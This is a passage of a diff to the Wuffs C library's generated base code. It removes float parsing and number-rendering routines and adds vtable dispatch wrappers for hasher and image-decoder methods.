WUFFS_BASE__PARSE_NUMBER_FXX__DECIMAL_SEPARATOR_IS_A_COMMA) +- ? ',' +- : '.')) { +- p++; +- const uint8_t* first_after_separator_ptr = p; +- if (!wuffs_base__private_implementation__is_decimal_digit(*p)) { +- goto fallback; +- } +- man = (10 * man) + ((uint8_t)(*p - '0')); +- p++; +- for (; wuffs_base__private_implementation__is_decimal_digit(*p); p++) { +- man = (10 * man) + ((uint8_t)(*p - '0')); +- } +- exp10 = ((int32_t)(first_after_separator_ptr - p)); +- } ++ return 0; ++} + +- // Count the number of digits: +- // - for an input of "314159", digit_count is 6. +- // - for an input of "3.14159", digit_count is 7. +- // +- // This is off-by-one if there is a decimal separator. That's OK for now. +- // We'll correct for that later. The "script/process-json-numbers.c with +- // -p" benchmark is noticably slower if we try to correct for that now. +- uint32_t digit_count = (uint32_t)(p - start_of_digits_ptr); ++// -------- + +- // Update exp10 for the optional exponent, starting with 'E' or 'e'. +- if ((*p | 0x20) == 'e') { +- p++; +- int32_t exp_sign = +1; +- if (*p == '-') { +- p++; +- exp_sign = -1; +- } else if (*p == '+') { +- p++; +- } +- if (!wuffs_base__private_implementation__is_decimal_digit(*p)) { +- goto fallback; +- } +- int32_t exp_num = ((uint8_t)(*p - '0')); +- p++; +- // The rest of the exp_num walking has a peculiar control flow but, once +- // again, the "script/process-json-numbers.c with -p" benchmark is +- // sensitive to alternative formulations. +- if (wuffs_base__private_implementation__is_decimal_digit(*p)) { +- exp_num = (10 * exp_num) + ((uint8_t)(*p - '0')); +- p++; +- } +- if (wuffs_base__private_implementation__is_decimal_digit(*p)) { +- exp_num = (10 * exp_num) + ((uint8_t)(*p - '0')); +- p++; +- } +- while (wuffs_base__private_implementation__is_decimal_digit(*p)) { +- if (exp_num > 0x1000000) { +- goto fallback; +- } +- exp_num = (10 * exp_num) + ((uint8_t)(*p - '0')); +- p++; +- } +- exp10 += exp_sign * exp_num; +- } ++WUFFS_BASE__GENERATED_C_CODE ++WUFFS_BASE__MAYBE_STATIC uint64_t ++wuffs_base__hasher_u64__checksum_u64( ++ const wuffs_base__hasher_u64* self) { ++ if (!self) { ++ return 0; ++ } ++ if ((self->private_impl.magic != WUFFS_BASE__MAGIC) && ++ (self->private_impl.magic != WUFFS_BASE__DISABLED)) { ++ return 0; ++ } + +- // The Wuffs API is that the original slice has no trailing data. It also +- // allows underscores, which we don't catch here but the fallback should. +- if (p != &z[s.len]) { +- goto fallback; ++ const wuffs_base__vtable* v = &self->private_impl.first_vtable; ++ int i; ++ for (i = 0; i < 63; i++) { ++ if (v->vtable_name == wuffs_base__hasher_u64__vtable_name) { ++ const wuffs_base__hasher_u64__func_ptrs* func_ptrs = ++ (const wuffs_base__hasher_u64__func_ptrs*)(v->function_pointers); ++ return (*func_ptrs->checksum_u64)(self); ++ } else if (v->vtable_name == NULL) { ++ break; + } ++ v++; ++ } + +- // Check that the uint64_t typed man variable has not overflowed, based on +- // digit_count. +- // +- // For reference: +- // - (1 << 63) is 9223372036854775808, which has 19 decimal digits. +- // - (1 << 64) is 18446744073709551616, which has 20 decimal digits. +- // - 19 nines, 9999999999999999999, is 0x8AC7230489E7FFFF, which has 64 +- // bits and 16 hexadecimal digits. +- // - 20 nines, 99999999999999999999, is 0x56BC75E2D630FFFFF, which has 67 +- // bits and 17 hexadecimal digits. +- if (digit_count > 19) { +- // Even if we have more than 19 pseudo-digits, it's not yet definitely an +- // overflow. Recall that digit_count might be off-by-one (too large) if +- // there's a decimal separator. It will also over-report the number of +- // meaningful digits if the input looks something like "0.000dddExxx". +- // +- // We adjust by the number of leading '0's and '.'s and re-compare to 19. +- // Once again, technically, we could skip ','s too, but that perturbs the +- // "script/process-json-numbers.c with -p" benchmark. +- const uint8_t* q = start_of_digits_ptr; +- for (; (*q == '0') || (*q == '.'); q++) { +- } +- digit_count -= (uint32_t)(q - start_of_digits_ptr); +- if (digit_count > 19) { +- goto fallback; +- } +- } ++ return 0; ++} + +- // The wuffs_base__private_implementation__parse_number_f64_eisel_lemire +- // preconditions include that exp10 is in the range [-307 ..= 288]. +- if ((exp10 < -307) || (288 < exp10)) { +- goto fallback; +- } ++WUFFS_BASE__GENERATED_C_CODE ++WUFFS_BASE__MAYBE_STATIC uint64_t ++wuffs_base__hasher_u64__get_quirk( ++ const wuffs_base__hasher_u64* self, ++ uint32_t a_key) { ++ if (!self) { ++ return 0; ++ } ++ if ((self->private_impl.magic != WUFFS_BASE__MAGIC) && ++ (self->private_impl.magic != WUFFS_BASE__DISABLED)) { ++ return 0; ++ } + +- // If both man and (10 ** exp10) are exactly representable by a double, we +- // don't need to run the Eisel-Lemire algorithm. +- if ((-22 <= exp10) && (exp10 <= 22) && ((man >> 53) == 0)) { +- double d = (double)man; +- if (exp10 >= 0) { +- d *= wuffs_base__private_implementation__f64_powers_of_10[+exp10]; +- } else { +- d /= wuffs_base__private_implementation__f64_powers_of_10[-exp10]; +- } +- wuffs_base__result_f64 ret; +- ret.status.repr = NULL; +- ret.value = negative ? -d : +d; +- return ret; ++ const wuffs_base__vtable* v = &self->private_impl.first_vtable; ++ int i; ++ for (i = 0; i < 63; i++) { ++ if (v->vtable_name == wuffs_base__hasher_u64__vtable_name) { ++ const wuffs_base__hasher_u64__func_ptrs* func_ptrs = ++ (const wuffs_base__hasher_u64__func_ptrs*)(v->function_pointers); ++ return (*func_ptrs->get_quirk)(self, a_key); ++ } else if (v->vtable_name == NULL) { ++ break; + } ++ v++; ++ } + +- // The wuffs_base__private_implementation__parse_number_f64_eisel_lemire +- // preconditions include that man is non-zero. Parsing "0" should be caught +- // by the "If both man and (10 ** exp10)" above, but "0e99" might not. +- if (man == 0) { +- goto fallback; +- } ++ return 0; ++} + +- // Our man and exp10 are in range. Run the Eisel-Lemire algorithm. +- int64_t r = +- wuffs_base__private_implementation__parse_number_f64_eisel_lemire( +- man, exp10); +- if (r < 0) { +- goto fallback; +- } +- wuffs_base__result_f64 ret; +- ret.status.repr = NULL; +- ret.value = wuffs_base__ieee_754_bit_representation__from_u64_to_f64( +- ((uint64_t)r) | (((uint64_t)negative) << 63)); +- return ret; +- } while (0); ++WUFFS_BASE__GENERATED_C_CODE ++WUFFS_BASE__MAYBE_STATIC wuffs_base__status ++wuffs_base__hasher_u64__set_quirk( ++ wuffs_base__hasher_u64* self, ++ uint32_t a_key, ++ uint64_t a_value) { ++ if (!self) { ++ return wuffs_base__make_status(wuffs_base__error__bad_receiver); ++ } ++ if (self->private_impl.magic != WUFFS_BASE__MAGIC) { ++ return wuffs_base__make_status( ++ (self->private_impl.magic == WUFFS_BASE__DISABLED) ++ ? wuffs_base__error__disabled_by_previous_error ++ : wuffs_base__error__initialize_not_called); ++ } + +-fallback: +- do { +- wuffs_base__private_implementation__high_prec_dec h; +- wuffs_base__status status = +- wuffs_base__private_implementation__high_prec_dec__parse(&h, s, +- options); +- if (status.repr) { +- return wuffs_base__private_implementation__parse_number_f64_special( +- s, options); ++ const wuffs_base__vtable* v = &self->private_impl.first_vtable; ++ int i; ++ for (i = 0; i < 63; i++) { ++ if (v->vtable_name == wuffs_base__hasher_u64__vtable_name) { ++ const wuffs_base__hasher_u64__func_ptrs* func_ptrs = ++ (const wuffs_base__hasher_u64__func_ptrs*)(v->function_pointers); ++ return (*func_ptrs->set_quirk)(self, a_key, a_value); ++ } else if (v->vtable_name == NULL) { ++ break; + } +- return wuffs_base__private_implementation__high_prec_dec__to_f64(&h, +- options); +- } while (0); +-} ++ v++; ++ } + +-// -------- ++ return wuffs_base__make_status(wuffs_base__error__bad_vtable); ++} + +-static inline size_t // +-wuffs_base__private_implementation__render_inf(wuffs_base__slice_u8 dst, +- bool neg, +- uint32_t options) { +- if (neg) { +- if (dst.len < 4) { +- return 0; +- } +- wuffs_base__poke_u32le__no_bounds_check(dst.ptr, 0x666E492D); // '-Inf'le. +- return 4; ++WUFFS_BASE__GENERATED_C_CODE ++WUFFS_BASE__MAYBE_STATIC wuffs_base__empty_struct ++wuffs_base__hasher_u64__update( ++ wuffs_base__hasher_u64* self, ++ wuffs_base__slice_u8 a_x) { ++ if (!self) { ++ return wuffs_base__make_empty_struct(); ++ } ++ if (self->private_impl.magic != WUFFS_BASE__MAGIC) { ++ return wuffs_base__make_empty_struct(); + } + +- if (options & WUFFS_BASE__RENDER_NUMBER_XXX__LEADING_PLUS_SIGN) { +- if (dst.len < 4) { +- return 0; ++ const wuffs_base__vtable* v = &self->private_impl.first_vtable; ++ int i; ++ for (i = 0; i < 63; i++) { ++ if (v->vtable_name == wuffs_base__hasher_u64__vtable_name) { ++ const wuffs_base__hasher_u64__func_ptrs* func_ptrs = ++ (const wuffs_base__hasher_u64__func_ptrs*)(v->function_pointers); ++ return (*func_ptrs->update)(self, a_x); ++ } else if (v->vtable_name == NULL) { ++ break; + } +- wuffs_base__poke_u32le__no_bounds_check(dst.ptr, 0x666E492B); // '+Inf'le. +- return 4; ++ v++; + } + +- if (dst.len < 3) { +- return 0; +- } +- wuffs_base__poke_u24le__no_bounds_check(dst.ptr, 0x666E49); // 'Inf'le. +- return 3; ++ return wuffs_base__make_empty_struct(); + } + +-static inline size_t // +-wuffs_base__private_implementation__render_nan(wuffs_base__slice_u8 dst) { +- if (dst.len < 3) { ++WUFFS_BASE__GENERATED_C_CODE ++WUFFS_BASE__MAYBE_STATIC uint64_t ++wuffs_base__hasher_u64__update_u64( ++ wuffs_base__hasher_u64* self, ++ wuffs_base__slice_u8 a_x) { ++ if (!self) { + return 0; + } +- wuffs_base__poke_u24le__no_bounds_check(dst.ptr, 0x4E614E); // 'NaN'le. +- return 3; +-} +- +-static size_t // +-wuffs_base__private_implementation__high_prec_dec__render_exponent_absent( +- wuffs_base__slice_u8 dst, +- wuffs_base__private_implementation__high_prec_dec* h, +- uint32_t precision, +- uint32_t options) { +- size_t n = (h->negative || +- (options & WUFFS_BASE__RENDER_NUMBER_XXX__LEADING_PLUS_SIGN)) +- ? 1 +- : 0; +- if (h->decimal_point <= 0) { +- n += 1; +- } else { +- n += (size_t)(h->decimal_point); +- } +- if (precision > 0) { +- n += precision + 1; // +1 for the '.'. ++ if (self->private_impl.magic != WUFFS_BASE__MAGIC) { ++ return 0; + } + +- // Don't modify dst if the formatted number won't fit. +- if (n > dst.len) { +- return 0; ++ const wuffs_base__vtable* v = &self->private_impl.first_vtable; ++ int i; ++ for (i = 0; i < 63; i++) { ++ if (v->vtable_name == wuffs_base__hasher_u64__vtable_name) { ++ const wuffs_base__hasher_u64__func_ptrs* func_ptrs = ++ (const wuffs_base__hasher_u64__func_ptrs*)(v->function_pointers); ++ return (*func_ptrs->update_u64)(self, a_x); ++ } else if (v->vtable_name == NULL) { ++ break; ++ } ++ v++; + } + +- // Align-left or align-right. +- uint8_t* ptr = (options & WUFFS_BASE__RENDER_NUMBER_XXX__ALIGN_RIGHT) +- ? &dst.ptr[dst.len - n] +- : &dst.ptr[0]; ++ return 0; ++} + +- // Leading "±". +- if (h->negative) { +- *ptr++ = '-'; +- } else if (options & WUFFS_BASE__RENDER_NUMBER_XXX__LEADING_PLUS_SIGN) { +- *ptr++ = '+'; +- } ++// -------- + +- // Integral digits. +- if (h->decimal_point <= 0) { +- *ptr++ = '0'; +- } else { +- uint32_t m = +- wuffs_base__u32__min(h->num_digits, (uint32_t)(h->decimal_point)); +- uint32_t i = 0; +- for (; i < m; i++) { +- *ptr++ = (uint8_t)('0' | h->digits[i]); +- } +- for (; i < (uint32_t)(h->decimal_point); i++) { +- *ptr++ = '0'; +- } ++WUFFS_BASE__GENERATED_C_CODE ++WUFFS_BASE__MAYBE_STATIC wuffs_base__bitvec256 ++wuffs_base__hasher_bitvec256__checksum_bitvec256( ++ const wuffs_base__hasher_bitvec256* self) { ++ if (!self) { ++ return wuffs_base__utility__make_bitvec256(0u, 0u, 0u, 0u); ++ } ++ if ((self->private_impl.magic != WUFFS_BASE__MAGIC) && ++ (self->private_impl.magic != WUFFS_BASE__DISABLED)) { ++ return wuffs_base__utility__make_bitvec256(0u, 0u, 0u, 0u); + } + +- // Separator and then fractional digits. +- if (precision > 0) { +- *ptr++ = +- (options & WUFFS_BASE__RENDER_NUMBER_FXX__DECIMAL_SEPARATOR_IS_A_COMMA) +- ? ',' +- : '.'; +- uint32_t i = 0; +- for (; i < precision; i++) { +- uint32_t j = ((uint32_t)(h->decimal_point)) + i; +- *ptr++ = (uint8_t)('0' | ((j < h->num_digits) ? h->digits[j] : 0)); ++ const wuffs_base__vtable* v = &self->private_impl.first_vtable; ++ int i; ++ for (i = 0; i < 63; i++) { ++ if (v->vtable_name == wuffs_base__hasher_bitvec256__vtable_name) { ++ const wuffs_base__hasher_bitvec256__func_ptrs* func_ptrs = ++ (const wuffs_base__hasher_bitvec256__func_ptrs*)(v->function_pointers); ++ return (*func_ptrs->checksum_bitvec256)(self); ++ } else if (v->vtable_name == NULL) { ++ break; + } ++ v++; + } + +- return n; ++ return wuffs_base__utility__make_bitvec256(0u, 0u, 0u, 0u); + } + +-static size_t // +-wuffs_base__private_implementation__high_prec_dec__render_exponent_present( +- wuffs_base__slice_u8 dst, +- wuffs_base__private_implementation__high_prec_dec* h, +- uint32_t precision, +- uint32_t options) { +- int32_t exp = 0; +- if (h->num_digits > 0) { +- exp = h->decimal_point - 1; +- } +- bool negative_exp = exp < 0; +- if (negative_exp) { +- exp = -exp; ++WUFFS_BASE__GENERATED_C_CODE ++WUFFS_BASE__MAYBE_STATIC uint64_t ++wuffs_base__hasher_bitvec256__get_quirk( ++ const wuffs_base__hasher_bitvec256* self, ++ uint32_t a_key) { ++ if (!self) { ++ return 0; + } +- +- size_t n = (h->negative || +- (options & WUFFS_BASE__RENDER_NUMBER_XXX__LEADING_PLUS_SIGN)) +- ? 4 +- : 3; // Mininum 3 bytes: first digit and then "e±". +- if (precision > 0) { +- n += precision + 1; // +1 for the '.'. ++ if ((self->private_impl.magic != WUFFS_BASE__MAGIC) && ++ (self->private_impl.magic != WUFFS_BASE__DISABLED)) { ++ return 0; + } +- n += (exp < 100) ? 2 : 3; + +- // Don't modify dst if the formatted number won't fit. +- if (n > dst.len) { +- return 0; ++ const wuffs_base__vtable* v = &self->private_impl.first_vtable; ++ int i; ++ for (i = 0; i < 63; i++) { ++ if (v->vtable_name == wuffs_base__hasher_bitvec256__vtable_name) { ++ const wuffs_base__hasher_bitvec256__func_ptrs* func_ptrs = ++ (const wuffs_base__hasher_bitvec256__func_ptrs*)(v->function_pointers); ++ return (*func_ptrs->get_quirk)(self, a_key); ++ } else if (v->vtable_name == NULL) { ++ break; ++ } ++ v++; + } + +- // Align-left or align-right. +- uint8_t* ptr = (options & WUFFS_BASE__RENDER_NUMBER_XXX__ALIGN_RIGHT) +- ? &dst.ptr[dst.len - n] +- : &dst.ptr[0]; ++ return 0; ++} + +- // Leading "±". +- if (h->negative) { +- *ptr++ = '-'; +- } else if (options & WUFFS_BASE__RENDER_NUMBER_XXX__LEADING_PLUS_SIGN) { +- *ptr++ = '+'; ++WUFFS_BASE__GENERATED_C_CODE ++WUFFS_BASE__MAYBE_STATIC wuffs_base__status ++wuffs_base__hasher_bitvec256__set_quirk( ++ wuffs_base__hasher_bitvec256* self, ++ uint32_t a_key, ++ uint64_t a_value) { ++ if (!self) { ++ return wuffs_base__make_status(wuffs_base__error__bad_receiver); + } +- +- // Integral digit. +- if (h->num_digits > 0) { +- *ptr++ = (uint8_t)('0' | h->digits[0]); +- } else { +- *ptr++ = '0'; ++ if (self->private_impl.magic != WUFFS_BASE__MAGIC) { ++ return wuffs_base__make_status( ++ (self->private_impl.magic == WUFFS_BASE__DISABLED) ++ ? wuffs_base__error__disabled_by_previous_error ++ : wuffs_base__error__initialize_not_called); + } + +- // Separator and then fractional digits. +- if (precision > 0) { +- *ptr++ = +- (options & WUFFS_BASE__RENDER_NUMBER_FXX__DECIMAL_SEPARATOR_IS_A_COMMA) +- ? ',' +- : '.'; +- uint32_t i = 1; +- uint32_t j = wuffs_base__u32__min(h->num_digits, precision + 1); +- for (; i < j; i++) { +- *ptr++ = (uint8_t)('0' | h->digits[i]); +- } +- for (; i <= precision; i++) { +- *ptr++ = '0'; ++ const wuffs_base__vtable* v = &self->private_impl.first_vtable; ++ int i; ++ for (i = 0; i < 63; i++) { ++ if (v->vtable_name == wuffs_base__hasher_bitvec256__vtable_name) { ++ const wuffs_base__hasher_bitvec256__func_ptrs* func_ptrs = ++ (const wuffs_base__hasher_bitvec256__func_ptrs*)(v->function_pointers); ++ return (*func_ptrs->set_quirk)(self, a_key, a_value); ++ } else if (v->vtable_name == NULL) { ++ break; + } ++ v++; + } + +- // Exponent: "e±" and then 2 or 3 digits. +- *ptr++ = 'e'; +- *ptr++ = negative_exp ? '-' : '+'; +- if (exp < 10) { +- *ptr++ = '0'; +- *ptr++ = (uint8_t)('0' | exp); +- } else if (exp < 100) { +- *ptr++ = (uint8_t)('0' | (exp / 10)); +- *ptr++ = (uint8_t)('0' | (exp % 10)); +- } else { +- int32_t e = exp / 100; +- exp -= e * 100; +- *ptr++ = (uint8_t)('0' | e); +- *ptr++ = (uint8_t)('0' | (exp / 10)); +- *ptr++ = (uint8_t)('0' | (exp % 10)); +- } +- +- return n; ++ return wuffs_base__make_status(wuffs_base__error__bad_vtable); + } + +-WUFFS_BASE__MAYBE_STATIC size_t // +-wuffs_base__render_number_f64(wuffs_base__slice_u8 dst, +- double x, +- uint32_t precision, +- uint32_t options) { +- // Decompose x (64 bits) into negativity (1 bit), base-2 exponent (11 bits +- // with a -1023 bias) and mantissa (52 bits). +- uint64_t bits = wuffs_base__ieee_754_bit_representation__from_f64_to_u64(x); +- bool neg = (bits >> 63) != 0; +- int32_t exp2 = ((int32_t)(bits >> 52)) & 0x7FF; +- uint64_t man = bits & 0x000FFFFFFFFFFFFFul; ++WUFFS_BASE__GENERATED_C_CODE ++WUFFS_BASE__MAYBE_STATIC wuffs_base__empty_struct ++wuffs_base__hasher_bitvec256__update( ++ wuffs_base__hasher_bitvec256* self, ++ wuffs_base__slice_u8 a_x) { ++ if (!self) { ++ return wuffs_base__make_empty_struct(); ++ } ++ if (self->private_impl.magic != WUFFS_BASE__MAGIC) { ++ return wuffs_base__make_empty_struct(); ++ } + +- // Apply the exponent bias and set the implicit top bit of the mantissa, +- // unless x is subnormal. Also take care of Inf and NaN. +- if (exp2 == 0x7FF) { +- if (man != 0) { +- return wuffs_base__private_implementation__render_nan(dst); ++ const wuffs_base__vtable* v = &self->private_impl.first_vtable; ++ int i; ++ for (i = 0; i < 63; i++) { ++ if (v->vtable_name == wuffs_base__hasher_bitvec256__vtable_name) { ++ const wuffs_base__hasher_bitvec256__func_ptrs* func_ptrs = ++ (const wuffs_base__hasher_bitvec256__func_ptrs*)(v->function_pointers); ++ return (*func_ptrs->update)(self, a_x); ++ } else if (v->vtable_name == NULL) { ++ break; + } +- return wuffs_base__private_implementation__render_inf(dst, neg, options); +- } else if (exp2 == 0) { +- exp2 = -1022; +- } else { +- exp2 -= 1023; +- man |= 0x0010000000000000ul; ++ v++; + } + +- // Ensure that precision isn't too large. +- if (precision > 4095) { +- precision = 4095; ++ return wuffs_base__make_empty_struct(); ++} ++ ++WUFFS_BASE__GENERATED_C_CODE ++WUFFS_BASE__MAYBE_STATIC wuffs_base__bitvec256 ++wuffs_base__hasher_bitvec256__update_bitvec256( ++ wuffs_base__hasher_bitvec256* self, ++ wuffs_base__slice_u8 a_x) { ++ if (!self) { ++ return wuffs_base__utility__make_bitvec256(0u, 0u, 0u, 0u); ++ } ++ if (self->private_impl.magic != WUFFS_BASE__MAGIC) { ++ return wuffs_base__utility__make_bitvec256(0u, 0u, 0u, 0u); + } + +- // Convert from the (neg, exp2, man) tuple to an HPD. +- wuffs_base__private_implementation__high_prec_dec h; +- wuffs_base__private_implementation__high_prec_dec__assign(&h, man, neg); +- if (h.num_digits > 0) { +- wuffs_base__private_implementation__high_prec_dec__lshift( +- &h, exp2 - 52); // 52 mantissa bits. ++ const wuffs_base__vtable* v = &self->private_impl.first_vtable; ++ int i; ++ for (i = 0; i < 63; i++) { ++ if (v->vtable_name == wuffs_base__hasher_bitvec256__vtable_name) { ++ const wuffs_base__hasher_bitvec256__func_ptrs* func_ptrs = ++ (const wuffs_base__hasher_bitvec256__func_ptrs*)(v->function_pointers); ++ return (*func_ptrs->update_bitvec256)(self, a_x); ++ } else if (v->vtable_name == NULL) { ++ break; ++ } ++ v++; + } + +- // Handle the "%e" and "%f" formats. +- switch (options & (WUFFS_BASE__RENDER_NUMBER_FXX__EXPONENT_ABSENT | +- WUFFS_BASE__RENDER_NUMBER_FXX__EXPONENT_PRESENT)) { +- case WUFFS_BASE__RENDER_NUMBER_FXX__EXPONENT_ABSENT: // The "%"f" format. +- if (options & WUFFS_BASE__RENDER_NUMBER_FXX__JUST_ENOUGH_PRECISION) { +- wuffs_base__private_implementation__high_prec_dec__round_just_enough( +- &h, exp2, man); +- int32_t p = ((int32_t)(h.num_digits)) - h.decimal_point; +- precision = ((uint32_t)(wuffs_base__i32__max(0, p))); +- } else { +- wuffs_base__private_implementation__high_prec_dec__round_nearest( +- &h, ((int32_t)precision) + h.decimal_point); +- } +- return wuffs_base__private_implementation__high_prec_dec__render_exponent_absent( +- dst, &h, precision, options); ++ return wuffs_base__utility__make_bitvec256(0u, 0u, 0u, 0u); ++} + +- case WUFFS_BASE__RENDER_NUMBER_FXX__EXPONENT_PRESENT: // The "%e" format. +- if (options & WUFFS_BASE__RENDER_NUMBER_FXX__JUST_ENOUGH_PRECISION) { +- wuffs_base__private_implementation__high_prec_dec__round_just_enough( +- &h, exp2, man); +- precision = (h.num_digits > 0) ? (h.num_digits - 1) : 0; +- } else { +- wuffs_base__private_implementation__high_prec_dec__round_nearest( +- &h, ((int32_t)precision) + 1); +- } +- return wuffs_base__private_implementation__high_prec_dec__render_exponent_present( +- dst, &h, precision, options); ++// -------- ++ ++WUFFS_BASE__GENERATED_C_CODE ++WUFFS_BASE__MAYBE_STATIC wuffs_base__status ++wuffs_base__image_decoder__decode_frame( ++ wuffs_base__image_decoder* self, ++ wuffs_base__pixel_buffer* a_dst, ++ wuffs_base__io_buffer* a_src, ++ wuffs_base__pixel_blend a_blend, ++ wuffs_base__slice_u8 a_workbuf, ++ wuffs_base__decode_frame_options* a_opts) { ++ if (!self) { ++ return wuffs_base__make_status(wuffs_base__error__bad_receiver); ++ } ++ if (self->private_impl.magic != WUFFS_BASE__MAGIC) { ++ return wuffs_base__make_status( ++ (self->private_impl.magic == WUFFS_BASE__DISABLED) ++ ? wuffs_base__error__disabled_by_previous_error ++ : wuffs_base__error__initialize_not_called); + } + +- // We have the "%g" format and so precision means the number of significant +- // digits, not the number of digits after the decimal separator. Perform +- // rounding and determine whether to use "%e" or "%f". +- int32_t e_threshold = 0; +- if (options & WUFFS_BASE__RENDER_NUMBER_FXX__JUST_ENOUGH_PRECISION) { +- wuffs_base__private_implementation__high_prec_dec__round_just_enough( +- &h, exp2, man); +- precision = h.num_digits; +- e_threshold = 6; +- } else { +- if (precision == 0) { +- precision = 1; +- } +- wuffs_base__private_implementation__high_prec_dec__round_nearest( +- &h, ((int32_t)precision)); +- e_threshold = ((int32_t)precision); +- int32_t nd = ((int32_t)(h.num_digits)); +- if ((e_threshold > nd) && (nd >= h.decimal_point)) { +- e_threshold = nd; ++ const wuffs_base__vtable* v = &self->private_impl.first_vtable; ++ int i; ++ for (i = 0; i < 63; i++) { ++ if (v->vtable_name == wuffs_base__image_decoder__vtable_name) { ++ const wuffs_base__image_decoder__func_ptrs* func_ptrs = ++ (const wuffs_base__image_decoder__func_ptrs*)(v->function_pointers); ++ return (*func_ptrs->decode_frame)(self, a_dst, a_src, a_blend, a_workbuf, a_opts); ++ } else if (v->vtable_name == NULL) { ++ break; + } ++ v++; + } + +- // Use the "%e" format if the exponent is large. +- int32_t e = h.decimal_point - 1; +- if ((e < -4) || (e_threshold <= e)) { +- uint32_t p = wuffs_base__u32__min(precision, h.num_digits); +- return wuffs_base__private_implementation__high_prec_dec__render_exponent_present( +- dst, &h, (p > 0) ? (p - 1) : 0, options); ++ return wuffs_base__make_status(wuffs_base__error__bad_vtable); ++} ++ ++WUFFS_BASE__GENERATED_C_CODE ++WUFFS_BASE__MAYBE_STATIC wuffs_base__status ++wuffs_base__image_decoder__decode_frame_config( ++ wuffs_base__image_decoder* self, ++ wuffs_base__frame_config* a_dst, ++ wuffs_base__io_buffer* a_src) { ++ if (!self) { ++ return wuffs_base__make_status(wuffs_base__error__bad_receiver); ++ } ++ if (self->private_impl.magic != WUFFS_BASE__MAGIC) { ++ return wuffs_base__make_status( ++ (self->private_impl.magic == WUFFS_BASE__DISABLED) ++ ? wuffs_base__error__disabled_by_previous_error ++ : wuffs_base__error__initialize_not_called); + } + +- // Use the "%f" format otherwise. +- int32_t p = ((int32_t)precision); +- if (p > h.decimal_point) { +- p = ((int32_t)(h.num_digits)); ++ const wuffs_base__vtable* v = &self->private_impl.first_vtable; ++ int i; ++ for (i = 0; i < 63; i++) { ++ if (v->vtable_name == wuffs_base__image_decoder__vtable_name) { ++ const wuffs_base__image_decoder__func_ptrs* func_ptrs = ++ (const wuffs_base__image_decoder__func_ptrs*)(v->function_pointers); ++ return (*func_ptrs->decode_frame_config)(self, a_dst, a_src); ++ } else if (v->vtable_name == NULL) { ++ break; ++ } ++ v++; + } +- precision = ((uint32_t)(wuffs_base__i32__max(0, p - h.decimal_point))); +- return wuffs_base__private_implementation__high_prec_dec__render_exponent_absent( +- dst, &h, precision, options); ++ ++ return wuffs_base__make_status(wuffs_base__error__bad_vtable); + } + +-#endif // !defined(WUFFS_CONFIG__MODULES) || +- // defined(WUFFS_CONFIG__MODULE__BASE) || +- // defined(WUFFS_CONFIG__MODULE__BASE__FLOATCONV) ++WUFFS_BASE__GENERATED_C_CODE ++WUFFS_BASE__MAYBE_STATIC wuffs_base__status ++wuffs_base__image_decoder__decode_image_config( ++ wuffs_base__image_decoder* self, ++ wuffs_base__image_config* a_dst, ++ wuffs_base__io_buffer* a_src) { ++ if (!self) { ++ return wuffs_base__make_status(wuffs_base__error__bad_receiver); ++ } ++ if (self->private_impl.magic != WUFFS_BASE__MAGIC) { ++ return wuffs_base__make_status( ++ (self->private_impl.magic == WUFFS_BASE__DISABLED) ++ ? wuffs_base__error__disabled_by_previous_error ++ : wuffs_base__error__initialize_not_called); ++ } + +-#if !defined(WUFFS_CONFIG__MODULES) || defined(WUFFS_CONFIG__MODULE__BASE) || \ +- defined(WUFFS_CONFIG__MODULE__BASE__INTCONV) ++ const wuffs_base__vtable* v = &self->private_impl.first_vtable; ++ int i; ++ for (i = 0; i < 63; i++) { ++ if (v->vtable_name == wuffs_base__image_decoder__vtable_name) { ++ const wuffs_base__image_decoder__func_ptrs* func_ptrs = ++ (const wuffs_base__image_decoder__func_ptrs*)(v->function_pointers); ++ return (*func_ptrs->decode_image_config)(self, a_dst, a_src); ++ } else if (v->vtable_name == NULL) { ++ break; ++ } ++ v++; ++ } + +-// ---------------- Integer ++ return wuffs_base__make_status(wuffs_base__error__bad_vtable); ++} + +-// wuffs_base__parse_number__foo_digits entries are 0x00 for invalid digits, +-// and (0x80 | v) for valid digits, where v is the 4 bit value. ++WUFFS_BASE__GENERATED_C_CODE ++WUFFS_BASE__MAYBE_STATIC wuffs_base__rect_ie_u32 ++wuffs_base__image_decoder__frame_dirty_rect( ++ const wuffs_base__image_decoder* self) { ++ if (!self) { ++ return wuffs_base__utility__empty_rect_ie_u32(); ++ } ++ if ((self->private_impl.magic != WUFFS_BASE__MAGIC) && ++ (self->private_impl.magic != WUFFS_BASE__DISABLED)) { ++ return wuffs_base__utility__empty_rect_ie_u32(); ++ } + +-static const uint8_t wuffs_base__parse_number__decimal_digits[256] = { +- // 0 1 2 3 4 5 6 7 +- // 8 9 A B C D E F +- 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, // 0x00 ..= 0x07. +- 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, // 0x08 ..= 0x0F. +- 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, // 0x10 ..= 0x17. +- 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, // 0x18 ..= 0x1F. +- 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, // 0x20 ..= 0x27. +- 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, // 0x28 ..= 0x2F. +- 0x80, 0x81, 0x82, 0x83, 0x84, 0x85, 0x86, 0x87, // 0x30 ..= 0x37. '0'-'7'. +- 0x88, 0x89, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, // 0x38 ..= 0x3F. '8'-'9'. ++ const wuffs_base__vtable* v = &self->private_impl.first_vtable; ++ int i; ++ for (i = 0; i < 63; i++) { ++ if (v->vtable_name == wuffs_base__image_decoder__vtable_name) { ++ const wuffs_base__image_decoder__func_ptrs* func_ptrs = ++ (const wuffs_base__image_decoder__func_ptrs*)(v->function_pointers); ++ return (*func_ptrs->frame_dirty_rect)(self); ++ } else if (v->vtable_name == NULL) { ++ break; ++ } ++ v++; ++ } + +- 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, // 0x40 ..= 0x47. +- 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, // 0x48 ..= 0x4F. +- 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, // 0x50 ..= 0x57. +- 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, // 0x58 ..= 0x5F. +- 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, // 0x60 